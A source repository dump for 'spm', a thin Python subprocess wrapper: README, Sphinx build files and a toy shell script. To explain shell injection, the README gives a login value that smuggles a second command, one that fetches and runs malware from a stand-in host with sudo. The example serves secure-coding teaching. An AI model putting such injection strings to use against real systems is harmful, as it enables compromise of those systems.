├── .gitignore ├── .travis.yml ├── CONTRIBUTORS.txt ├── LICENSE ├── MANIFEST.in ├── README.rst ├── docs ├── .gitignore ├── Makefile ├── conf.py ├── files │ └── shell.py ├── index.rst ├── make.bat ├── security.rst └── usage.rst ├── pytest.ini ├── setup.py ├── spm └── __init__.py └── test_spm.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Python files 2 | *.py[cod] 3 | __pycache__ 4 | 5 | # Setuptools 6 | /*.egg-info 7 | /dist/ 8 | /.eggs/ 9 | /*.egg 10 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - "2.7" 4 | - "3.2" 5 | - "3.3" 6 | - "3.4" 7 | - "nightly" 8 | script: python setup.py test 9 | -------------------------------------------------------------------------------- /CONTRIBUTORS.txt: -------------------------------------------------------------------------------- 1 | Fusionbox, Inc. (commits @fusionbox.com address) 2 | David Sanders 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2015 Antoine Catton 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 9 | of the Software, and to permit persons to whom the Software is furnished to do 10 | so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include README.rst 2 | recursive-include spm *.py 3 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | spm (SubProcessesManager) 2 | ========================= 3 | 4 | .. image:: https://travis-ci.org/acatton/python-spm.svg?branch=master 5 | :target: https://travis-ci.org/acatton/python-spm 6 | 7 | .. code:: python 8 | 9 | >>> import spm 10 | >>> spm.run('echo', '-n', 'hello world').stdout.read() 11 | 'hello world' 12 | >>> import functools 13 | >>> git = functools.partial(spm.run, 'git') 14 | >>> git('status', '-z').stdout.read().split(b'\x00') 15 | [' M spm.py', ''] 16 | 17 | This provides a very thin KISS layer on top of the python standard library's 18 | ``subprocess`` module. This library supports Python 2 and Python 3. 19 | 20 | This makes it easy to pipe subprocesses, and pipe subprocesses input/output 21 | to files. 22 | 23 | It only has four rules: 24 | 25 | * Simple programming interface 26 | * Don't reimplement the wheel. (It tries uses the ``subprocess`` standard 27 | module as much as possible) 28 | * It only does one thing, and try to do it well. 29 | * Use argument list instead of one command string. 30 | 31 | Secure subprocess invocation 32 | ---------------------------- 33 | 34 | For those who don't understand the last rule. There are two ways to ways to 35 | invoke subprocesses in python: One method is insecure, the other one is 36 | secure. 37 | 38 | .. code:: python 39 | 40 | import subprocess 41 | 42 | # Insecure subprocess invocation 43 | subprocess.check_call("echo foo", shell=True) 44 | # Secure subprocess invocation 45 | subprocess.check_call(['echo', 'foo']) 46 | 47 | The second one is secure, because it prevents shell code injection. If we over 48 | simplify, the first method, could be implemented this way: 49 | 50 | .. code:: python 51 | 52 | def insecure_check_call(command_line): 53 | """ 54 | Same as check_call(shell=True) 55 | """ 56 | # Runs /bin/bash -c "the given command line" 57 | subprocess.check_call(['/bin/bash', '-c', command_line]) 58 | 59 | 60 | Let's use the following code as example: 61 | 62 | .. code:: python 63 | 64 | import subprocess 65 | # Get insecure and unchecked data from a user 66 | from somewhere import get_login_from_user() 67 | 68 | def create_user(): 69 | cmd = "sudo useradd '{}'".format(get_login_from_user()) 70 | subprocess.check_call(cmd) 71 | 72 | A user can inject code if they enter the login 73 | ``' || wget http://malware.example.com/malware -O /tmp && sudo /tmp/malware``. 74 | Because this will execute: 75 | ``sudo user '' || wget [...] -O /tmp && sudo /tmp/malware``. 76 | 77 | Why another library? 78 | -------------------- 79 | 80 | .. image:: https://imgs.xkcd.com/comics/standards.png 81 | :alt: XKCD Comic strip: "How Standards Profilef 82 | :align: center 83 | 84 | Here are the existing libraries: 85 | 86 | * sh_: doing too much. The programming interface for piping commands is 87 | complex and bad. 88 | * execute_: old, vulnerable to shell injection. 89 | * sarge_: doing too much, vulnerable to shell injection. 90 | * envoy_: too complicated, and vulnerable to shell injection. 91 | 92 | And many other are unmaintained or worse. 93 | 94 | .. _sh: https://amoffat.github.io/sh/ 95 | .. _execute: https://pythonhosted.org/execute/ 96 | .. _sarge: http://sarge.readthedocs.org/en/latest/ 97 | .. _envoy: https://github.com/kennethreitz/envoy 98 | 99 | 100 | What do you mean by KISS? 101 | ------------------------- 102 | 103 | KISS lost its original sense. Now it's just an hipster word which means "just 104 | use my library because it's cool". 105 | 106 | Here I mean KISS in its original sense: Keep It Simple, Stupid. 107 | 108 | * this library is one file with less than 500 lines (excluding testing) 109 | * this library has two functions: ``pipe()`` and ``run()`` 110 | -------------------------------------------------------------------------------- /docs/.gitignore: -------------------------------------------------------------------------------- 1 | /_build/ 2 | -------------------------------------------------------------------------------- /docs/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for Sphinx documentation 2 | # 3 | 4 | # You can set these variables from the command line. 5 | SPHINXOPTS = 6 | SPHINXBUILD = sphinx-build 7 | PAPER = 8 | BUILDDIR = _build 9 | 10 | # User-friendly check for sphinx-build 11 | ifeq ($(shell which $(SPHINXBUILD) >/dev/null 2>&1; echo $$?), 1) 12 | $(error The '$(SPHINXBUILD)' command was not found. Make sure you have Sphinx installed, then set the SPHINXBUILD environment variable to point to the full path of the '$(SPHINXBUILD)' executable. Alternatively you can add the directory with the executable to your PATH. If you don't have Sphinx installed, grab it from http://sphinx-doc.org/) 13 | endif 14 | 15 | # Internal variables. 16 | PAPEROPT_a4 = -D latex_paper_size=a4 17 | PAPEROPT_letter = -D latex_paper_size=letter 18 | ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . 19 | # the i18n builder cannot share the environment and doctrees with the others 20 | I18NSPHINXOPTS = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) . 21 | 22 | .PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest coverage gettext 23 | 24 | help: 25 | @echo "Please use \`make ' where is one of" 26 | @echo " html to make standalone HTML files" 27 | @echo " dirhtml to make HTML files named index.html in directories" 28 | @echo " singlehtml to make a single large HTML file" 29 | @echo " pickle to make pickle files" 30 | @echo " json to make JSON files" 31 | @echo " htmlhelp to make HTML files and a HTML help project" 32 | @echo " qthelp to make HTML files and a qthelp project" 33 | @echo " applehelp to make an Apple Help Book" 34 | @echo " devhelp to make HTML files and a Devhelp project" 35 | @echo " epub to make an epub" 36 | @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter" 37 | @echo " latexpdf to make LaTeX files and run them through pdflatex" 38 | @echo " latexpdfja to make LaTeX files and run them through platex/dvipdfmx" 39 | @echo " text to make text files" 40 | @echo " man to make manual pages" 41 | @echo " texinfo to make Texinfo files" 42 | @echo " info to make Texinfo files and run them through makeinfo" 43 | @echo " gettext to make PO message catalogs" 44 | @echo " changes to make an overview of all changed/added/deprecated items" 45 | @echo " xml to make Docutils-native XML files" 46 | @echo " pseudoxml to make pseudoxml-XML files for display purposes" 47 | @echo " linkcheck to check all external links for integrity" 48 | @echo " doctest to run all doctests embedded in the documentation (if enabled)" 49 | @echo " coverage to run coverage check of the documentation (if enabled)" 50 | 51 | clean: 52 | rm -rf $(BUILDDIR)/* 53 | 54 | html: 55 | $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html 56 | @echo 57 | @echo "Build finished. The HTML pages are in $(BUILDDIR)/html." 58 | 59 | dirhtml: 60 | $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml 61 | @echo 62 | @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml." 63 | 64 | singlehtml: 65 | $(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml 66 | @echo 67 | @echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml." 68 | 69 | pickle: 70 | $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle 71 | @echo 72 | @echo "Build finished; now you can process the pickle files." 73 | 74 | json: 75 | $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json 76 | @echo 77 | @echo "Build finished; now you can process the JSON files." 78 | 79 | htmlhelp: 80 | $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp 81 | @echo 82 | @echo "Build finished; now you can run HTML Help Workshop with the" \ 83 | ".hhp project file in $(BUILDDIR)/htmlhelp." 84 | 85 | qthelp: 86 | $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp 87 | @echo 88 | @echo "Build finished; now you can run "qcollectiongenerator" with the" \ 89 | ".qhcp project file in $(BUILDDIR)/qthelp, like this:" 90 | @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/spm.qhcp" 91 | @echo "To view the help file:" 92 | @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/spm.qhc" 93 | 94 | applehelp: 95 | $(SPHINXBUILD) -b applehelp $(ALLSPHINXOPTS) $(BUILDDIR)/applehelp 96 | @echo 97 | @echo "Build finished. The help book is in $(BUILDDIR)/applehelp." 98 | @echo "N.B. You won't be able to view it unless you put it in" \ 99 | "~/Library/Documentation/Help or install it in your application" \ 100 | "bundle." 101 | 102 | devhelp: 103 | $(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp 104 | @echo 105 | @echo "Build finished." 106 | @echo "To view the help file:" 107 | @echo "# mkdir -p $$HOME/.local/share/devhelp/spm" 108 | @echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/spm" 109 | @echo "# devhelp" 110 | 111 | epub: 112 | $(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub 113 | @echo 114 | @echo "Build finished. The epub file is in $(BUILDDIR)/epub." 115 | 116 | latex: 117 | $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex 118 | @echo 119 | @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex." 120 | @echo "Run \`make' in that directory to run these through (pdf)latex" \ 121 | "(use \`make latexpdf' here to do that automatically)." 122 | 123 | latexpdf: 124 | $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex 125 | @echo "Running LaTeX files through pdflatex..." 126 | $(MAKE) -C $(BUILDDIR)/latex all-pdf 127 | @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." 128 | 129 | latexpdfja: 130 | $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex 131 | @echo "Running LaTeX files through platex and dvipdfmx..." 132 | $(MAKE) -C $(BUILDDIR)/latex all-pdf-ja 133 | @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex." 134 | 135 | text: 136 | $(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text 137 | @echo 138 | @echo "Build finished. The text files are in $(BUILDDIR)/text." 139 | 140 | man: 141 | $(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man 142 | @echo 143 | @echo "Build finished. The manual pages are in $(BUILDDIR)/man." 144 | 145 | texinfo: 146 | $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo 147 | @echo 148 | @echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo." 149 | @echo "Run \`make' in that directory to run these through makeinfo" \ 150 | "(use \`make info' here to do that automatically)." 151 | 152 | info: 153 | $(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo 154 | @echo "Running Texinfo files through makeinfo..." 155 | make -C $(BUILDDIR)/texinfo info 156 | @echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo." 157 | 158 | gettext: 159 | $(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale 160 | @echo 161 | @echo "Build finished. The message catalogs are in $(BUILDDIR)/locale." 162 | 163 | changes: 164 | $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes 165 | @echo 166 | @echo "The overview file is in $(BUILDDIR)/changes." 167 | 168 | linkcheck: 169 | $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck 170 | @echo 171 | @echo "Link check complete; look for any errors in the above output " \ 172 | "or in $(BUILDDIR)/linkcheck/output.txt." 173 | 174 | doctest: 175 | $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest 176 | @echo "Testing of doctests in the sources finished, look at the " \ 177 | "results in $(BUILDDIR)/doctest/output.txt." 178 | 179 | coverage: 180 | $(SPHINXBUILD) -b coverage $(ALLSPHINXOPTS) $(BUILDDIR)/coverage 181 | @echo "Testing of coverage in the sources finished, look at the " \ 182 | "results in $(BUILDDIR)/coverage/python.txt." 183 | 184 | xml: 185 | $(SPHINXBUILD) -b xml $(ALLSPHINXOPTS) $(BUILDDIR)/xml 186 | @echo 187 | @echo "Build finished. The XML files are in $(BUILDDIR)/xml." 188 | 189 | pseudoxml: 190 | $(SPHINXBUILD) -b pseudoxml $(ALLSPHINXOPTS) $(BUILDDIR)/pseudoxml 191 | @echo 192 | @echo "Build finished. The pseudo-XML files are in $(BUILDDIR)/pseudoxml." 193 | -------------------------------------------------------------------------------- /docs/conf.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # 3 | # spm documentation build configuration file, created by 4 | # sphinx-quickstart on Mon Apr 6 22:15:18 2015. 5 | # 6 | # This file is execfile()d with the current directory set to its 7 | # containing dir. 8 | # 9 | # Note that not all possible configuration values are present in this 10 | # autogenerated file. 11 | # 12 | # All configuration values have a default; values that are commented out 13 | # serve to show the default. 14 | 15 | import sys 16 | import os 17 | import shlex 18 | 19 | # If extensions (or modules to document with autodoc) are in another directory, 20 | # add these directories to sys.path here. If the directory is relative to the 21 | # documentation root, use os.path.abspath to make it absolute, like shown here. 22 | #sys.path.insert(0, os.path.abspath('.')) 23 | 24 | # -- General configuration ------------------------------------------------ 25 | 26 | # If your documentation needs a minimal Sphinx version, state it here. 27 | #needs_sphinx = '1.0' 28 | 29 | # Add any Sphinx extension module names here, as strings. They can be 30 | # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom 31 | # ones. 32 | extensions = [ 33 | 'sphinx.ext.autodoc', 34 | 'sphinx.ext.doctest', 35 | 'sphinx.ext.viewcode', 36 | ] 37 | 38 | # Add any paths that contain templates here, relative to this directory. 39 | templates_path = ['_templates'] 40 | 41 | # The suffix(es) of source filenames. 42 | # You can specify multiple suffix as a list of string: 43 | # source_suffix = ['.rst', '.md'] 44 | source_suffix = '.rst' 45 | 46 | # The encoding of source files. 47 | #source_encoding = 'utf-8-sig' 48 | 49 | # The master toctree document. 50 | master_doc = 'index' 51 | 52 | # General information about the project. 53 | project = u'spm' 54 | copyright = u'2015, Antoine Catton' 55 | author = u'Antoine Catton' 56 | 57 | # The version info for the project you're documenting, acts as replacement for 58 | # |version| and |release|, also used in various other places throughout the 59 | # built documents. 60 | # 61 | # The short X.Y version. 62 | version = '1.0' 63 | # The full version, including alpha/beta/rc tags. 64 | release = '1.0.0' 65 | 66 | # The language for content autogenerated by Sphinx. Refer to documentation 67 | # for a list of supported languages. 68 | # 69 | # This is also used if you do content translation via gettext catalogs. 70 | # Usually you set "language" from the command line for these cases. 71 | language = 'en' 72 | 73 | # There are two options for replacing |today|: either, you set today to some 74 | # non-false value, then it is used: 75 | #today = '' 76 | # Else, today_fmt is used as the format for a strftime call. 77 | #today_fmt = '%B %d, %Y' 78 | 79 | # List of patterns, relative to source directory, that match files and 80 | # directories to ignore when looking for source files. 81 | exclude_patterns = ['_build'] 82 | 83 | # The reST default role (used for this markup: `text`) to use for all 84 | # documents. 85 | #default_role = None 86 | 87 | # If true, '()' will be appended to :func: etc. cross-reference text. 88 | #add_function_parentheses = True 89 | 90 | # If true, the current module name will be prepended to all description 91 | # unit titles (such as .. function::). 92 | #add_module_names = True 93 | 94 | # If true, sectionauthor and moduleauthor directives will be shown in the 95 | # output. They are ignored by default. 96 | #show_authors = False 97 | 98 | # The name of the Pygments (syntax highlighting) style to use. 99 | pygments_style = 'friendly' 100 | 101 | # A list of ignored prefixes for module index sorting. 102 | #modindex_common_prefix = [] 103 | 104 | # If true, keep warnings as "system message" paragraphs in the built documents. 105 | #keep_warnings = False 106 | 107 | # If true, `todo` and `todoList` produce output, else they produce nothing. 108 | todo_include_todos = False 109 | 110 | 111 | # -- Options for HTML output ---------------------------------------------- 112 | 113 | # The theme to use for HTML and HTML Help pages. See the documentation for 114 | # a list of builtin themes. 115 | html_theme = 'nature' 116 | 117 | # Theme options are theme-specific and customize the look and feel of a theme 118 | # further. For a list of options available for each theme, see the 119 | # documentation. 120 | #html_theme_options = {} 121 | 122 | # Add any paths that contain custom themes here, relative to this directory. 123 | #html_theme_path = [] 124 | 125 | # The name for this set of Sphinx documents. If None, it defaults to 126 | # " v documentation". 127 | #html_title = None 128 | 129 | # A shorter title for the navigation bar. Default is the same as html_title. 130 | #html_short_title = None 131 | 132 | # The name of an image file (relative to this directory) to place at the top 133 | # of the sidebar. 134 | #html_logo = None 135 | 136 | # The name of an image file (within the static path) to use as favicon of the 137 | # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 138 | # pixels large. 139 | #html_favicon = None 140 | 141 | # Add any paths that contain custom static files (such as style sheets) here, 142 | # relative to this directory. They are copied after the builtin static files, 143 | # so a file named "default.css" will overwrite the builtin "default.css". 144 | html_static_path = ['_static'] 145 | 146 | # Add any extra paths that contain custom files (such as robots.txt or 147 | # .htaccess) here, relative to this directory. These files are copied 148 | # directly to the root of the documentation. 149 | #html_extra_path = [] 150 | 151 | # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, 152 | # using the given strftime format. 153 | #html_last_updated_fmt = '%b %d, %Y' 154 | 155 | # If true, SmartyPants will be used to convert quotes and dashes to 156 | # typographically correct entities. 157 | #html_use_smartypants = True 158 | 159 | # Custom sidebar templates, maps document names to template names. 160 | #html_sidebars = {} 161 | 162 | # Additional templates that should be rendered to pages, maps page names to 163 | # template names. 164 | #html_additional_pages = {} 165 | 166 | # If false, no module index is generated. 167 | #html_domain_indices = True 168 | 169 | # If false, no index is generated. 170 | #html_use_index = True 171 | 172 | # If true, the index is split into individual pages for each letter. 173 | #html_split_index = False 174 | 175 | # If true, links to the reST sources are added to the pages. 176 | #html_show_sourcelink = True 177 | 178 | # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. 179 | #html_show_sphinx = True 180 | 181 | # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. 182 | #html_show_copyright = True 183 | 184 | # If true, an OpenSearch description file will be output, and all pages will 185 | # contain a tag referring to it. The value of this option must be the 186 | # base URL from which the finished HTML is served. 187 | #html_use_opensearch = '' 188 | 189 | # This is the file name suffix for HTML files (e.g. ".xhtml"). 190 | #html_file_suffix = None 191 | 192 | # Language to be used for generating the HTML full-text search index. 193 | # Sphinx supports the following languages: 194 | # 'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja' 195 | # 'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr' 196 | #html_search_language = 'en' 197 | 198 | # A dictionary with options for the search language support, empty by default. 199 | # Now only 'ja' uses this config value 200 | #html_search_options = {'type': 'default'} 201 | 202 | # The name of a javascript file (relative to the configuration directory) that 203 | # implements a search results scorer. If empty, the default will be used. 204 | #html_search_scorer = 'scorer.js' 205 | 206 | # Output file base name for HTML help builder. 207 | htmlhelp_basename = 'spmdoc' 208 | 209 | # -- Options for LaTeX output --------------------------------------------- 210 | 211 | latex_elements = { 212 | # The paper size ('letterpaper' or 'a4paper'). 213 | #'papersize': 'letterpaper', 214 | 215 | # The font size ('10pt', '11pt' or '12pt'). 216 | #'pointsize': '10pt', 217 | 218 | # Additional stuff for the LaTeX preamble. 219 | #'preamble': '', 220 | 221 | # Latex figure (float) alignment 222 | #'figure_align': 'htbp', 223 | } 224 | 225 | # Grouping the document tree into LaTeX files. List of tuples 226 | # (source start file, target name, title, 227 | # author, documentclass [howto, manual, or own class]). 228 | latex_documents = [ 229 | (master_doc, 'spm.tex', u'spm Documentation', 230 | u'Antoine Catton', 'manual'), 231 | ] 232 | 233 | # The name of an image file (relative to this directory) to place at the top of 234 | # the title page. 235 | #latex_logo = None 236 | 237 | # For "manual" documents, if this is true, then toplevel headings are parts, 238 | # not chapters. 239 | #latex_use_parts = False 240 | 241 | # If true, show page references after internal links. 242 | #latex_show_pagerefs = False 243 | 244 | # If true, show URL addresses after external links. 245 | #latex_show_urls = False 246 | 247 | # Documents to append as an appendix to all manuals. 248 | #latex_appendices = [] 249 | 250 | # If false, no module index is generated. 251 | #latex_domain_indices = True 252 | 253 | 254 | # -- Options for manual page output --------------------------------------- 255 | 256 | # One entry per manual page. List of tuples 257 | # (source start file, name, description, authors, manual section). 258 | man_pages = [ 259 | (master_doc, 'spm', u'spm Documentation', 260 | [author], 1) 261 | ] 262 | 263 | # If true, show URL addresses after external links. 264 | #man_show_urls = False 265 | 266 | 267 | # -- Options for Texinfo output ------------------------------------------- 268 | 269 | # Grouping the document tree into Texinfo files. List of tuples 270 | # (source start file, target name, title, author, 271 | # dir menu entry, description, category) 272 | texinfo_documents = [ 273 | (master_doc, 'spm', u'spm Documentation', 274 | author, 'spm', 'One line description of project.', 275 | 'Miscellaneous'), 276 | ] 277 | 278 | # Documents to append as an appendix to all manuals. 279 | #texinfo_appendices = [] 280 | 281 | # If false, no module index is generated. 282 | #texinfo_domain_indices = True 283 | 284 | # How to display URL addresses: 'footnote', 'no', or 'inline'. 285 | #texinfo_show_urls = 'footnote' 286 | 287 | # If true, do not generate a @detailmenu in the "Top" node's menu. 288 | #texinfo_no_detailmenu = False 289 | 290 | 291 | # -- Options for Epub output ---------------------------------------------- 292 | 293 | # Bibliographic Dublin Core info. 294 | epub_title = project 295 | epub_author = author 296 | epub_publisher = author 297 | epub_copyright = copyright 298 | 299 | # The basename for the epub file. It defaults to the project name. 300 | #epub_basename = project 301 | 302 | # The HTML theme for the epub output. Since the default themes are not optimized 303 | # for small screen space, using the same theme for HTML and epub output is 304 | # usually not wise. This defaults to 'epub', a theme designed to save visual 305 | # space. 306 | #epub_theme = 'epub' 307 | 308 | # The language of the text. It defaults to the language option 309 | # or 'en' if the language is not set. 310 | #epub_language = '' 311 | 312 | # The scheme of the identifier. Typical schemes are ISBN or URL. 313 | #epub_scheme = '' 314 | 315 | # The unique identifier of the text. This can be a ISBN number 316 | # or the project homepage. 317 | #epub_identifier = '' 318 | 319 | # A unique identification for the text. 320 | #epub_uid = '' 321 | 322 | # A tuple containing the cover image and cover page html template filenames. 323 | #epub_cover = () 324 | 325 | # A sequence of (type, uri, title) tuples for the guide element of content.opf. 326 | #epub_guide = () 327 | 328 | # HTML files that should be inserted before the pages created by sphinx. 329 | # The format is a list of tuples containing the path and title. 330 | #epub_pre_files = [] 331 | 332 | # HTML files shat should be inserted after the pages created by sphinx. 333 | # The format is a list of tuples containing the path and title. 334 | #epub_post_files = [] 335 | 336 | # A list of files that should not be packed into the epub file. 337 | epub_exclude_files = ['search.html'] 338 | 339 | # The depth of the table of contents in toc.ncx. 340 | #epub_tocdepth = 3 341 | 342 | # Allow duplicate toc entries. 343 | #epub_tocdup = True 344 | 345 | # Choose between 'default' and 'includehidden'. 346 | #epub_tocscope = 'default' 347 | 348 | # Fix unsupported image types using the Pillow. 349 | #epub_fix_images = False 350 | 351 | # Scale large images. 352 | #epub_max_image_width = 0 353 | 354 | # How to display URL addresses: 'footnote', 'no', or 'inline'. 355 | #epub_show_urls = 'inline' 356 | 357 | # If false, no index is generated. 358 | #epub_use_index = True 359 | -------------------------------------------------------------------------------- /docs/files/shell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Copyright (C) 2015 Antoine Catton 3 | # Licensed under WTFPL 4 | 5 | import shlex 6 | import os 7 | import sys 8 | 9 | NORMAL_PIDWAIT = 0 # Just hardcoded variable you can ignore that 10 | 11 | 12 | def lookup(command): 13 | """ 14 | Lookup a command in PATH. For example:: 15 | 16 | >>> lookup('ls') 17 | '/usr/bin/ls' 18 | >>> lookup('usermod') 19 | '/usr/sbin/usermod' 20 | >>> lookup('foobar') 21 | Traceback (most recent call last): 22 | File "", line 1, in 23 | ValueError: Invalid command 24 | 25 | This function is incredibly dumb, and does not search for an executable 26 | file. 27 | """ 28 | for path in os.environ.get('PATH', '').split(':'): 29 | fname = os.path.join(path, command) 30 | if os.path.exists(fname): 31 | return fname 32 | raise ValueError("Invalid command") 33 | 34 | 35 | def run(line): 36 | """ 37 | Run a shell line: run('ls /tmp') will execv('/usr/bin/ls', ['ls', '/tmp']) 38 | """ 39 | arguments = shlex.split(line) 40 | path = lookup(arguments[0]) # Lookup the first arguments in PATH 41 | execute(path, arguments) 42 | 43 | 44 | def execute(path, arguments): 45 | """ 46 | Wrapper around execv(): 47 | 48 | * fork()s before exec()ing (in order to run the command in a subprocess) 49 | * wait for the subprocess to finish before returning (blocks the parent 50 | process) 51 | 52 | This is **hyper** simplistic. This *does not* handle **many** edge cases. 53 | 54 | *DO NOT DO THIS*: subprocess.check_call() does it better, and handle edge 55 | cases. 56 | """ 57 | pid = os.fork() 58 | if pid == 0: 59 | try: 60 | os.execv(path, arguments) 61 | finally: 62 | sys.exit(1) # In case path is not executable 63 | else: 64 | try: 65 | # Wait for subprocess to finish 66 | os.waitpid(pid, NORMAL_PIDWAIT) 67 | except OSError: 68 | pass # The subprocess was already finish 69 | return 70 | 71 | if __name__ == '__main__': 72 | 73 | while True: 74 | line = input('$ ') 75 | 76 | if line.strip() == 'exit': # Wants to exit the shell 77 | break 78 | 79 | run(line) 80 | -------------------------------------------------------------------------------- /docs/index.rst: -------------------------------------------------------------------------------- 1 | python-spm (Sub Process Manager) documentation 2 | ============================================== 3 | 4 | .. image:: https://travis-ci.org/acatton/python-spm.svg?branch=master 5 | :target: https://travis-ci.org/acatton/python-spm 6 | 7 | Install:: 8 | 9 | pip install spm 10 | 11 | Use: 12 | 13 | .. doctest:: 14 | 15 | >>> from spm import run, pipe, propagate_env 16 | >>> run('cat', '/etc/passwd') 17 | 18 | >>> run('cat', '/etc/passwd').pipe('grep', 'jdoe') 19 | 20 | >>> pipe(['gzip', '-c', '/etc/passwd'], ['zcat']) 21 | 22 | >>> run('git', 'commit', env={'GIT_COMMITTER_NAME': 'John Doe'}) 23 | 24 | >>> run('ls', env=propagate_env()) 25 | 26 | >>> run('ls', env=propagate_env({'FOO': 'BAR'})) 27 | 28 | >>> run('echo', '-n', 'foo').wait() 29 | ('foo', None) 30 | >>> run('echo', '-n', 'bar').stdout.read() 31 | 'bar' 32 | >>> noop = run('gzip').pipe(run('zcat')) # = run('gzip').pipe('zcat') 33 | >>> run('echo', '-n', 'example').pipe(noop).stdout.read() 34 | 'example' 35 | 36 | Go further: 37 | 38 | .. toctree:: 39 | :maxdepth: 2 40 | 41 | security 42 | usage 43 | 44 | 45 | 46 | 47 | Indices and tables 48 | ================== 49 | 50 | * :ref:`genindex` 51 | * :ref:`modindex` 52 | * :ref:`search` 53 | 54 | -------------------------------------------------------------------------------- /docs/make.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | REM Command file for Sphinx documentation 4 | 5 | if "%SPHINXBUILD%" == "" ( 6 | set SPHINXBUILD=sphinx-build 7 | ) 8 | set BUILDDIR=_build 9 | set ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% . 10 | set I18NSPHINXOPTS=%SPHINXOPTS% . 11 | if NOT "%PAPER%" == "" ( 12 | set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS% 13 | set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS% 14 | ) 15 | 16 | if "%1" == "" goto help 17 | 18 | if "%1" == "help" ( 19 | :help 20 | echo.Please use `make ^` where ^ is one of 21 | echo. html to make standalone HTML files 22 | echo. dirhtml to make HTML files named index.html in directories 23 | echo. singlehtml to make a single large HTML file 24 | echo. pickle to make pickle files 25 | echo. json to make JSON files 26 | echo. htmlhelp to make HTML files and a HTML help project 27 | echo. qthelp to make HTML files and a qthelp project 28 | echo. devhelp to make HTML files and a Devhelp project 29 | echo. epub to make an epub 30 | echo. latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter 31 | echo. text to make text files 32 | echo. man to make manual pages 33 | echo. texinfo to make Texinfo files 34 | echo. gettext to make PO message catalogs 35 | echo. changes to make an overview over all changed/added/deprecated items 36 | echo. xml to make Docutils-native XML files 37 | echo. 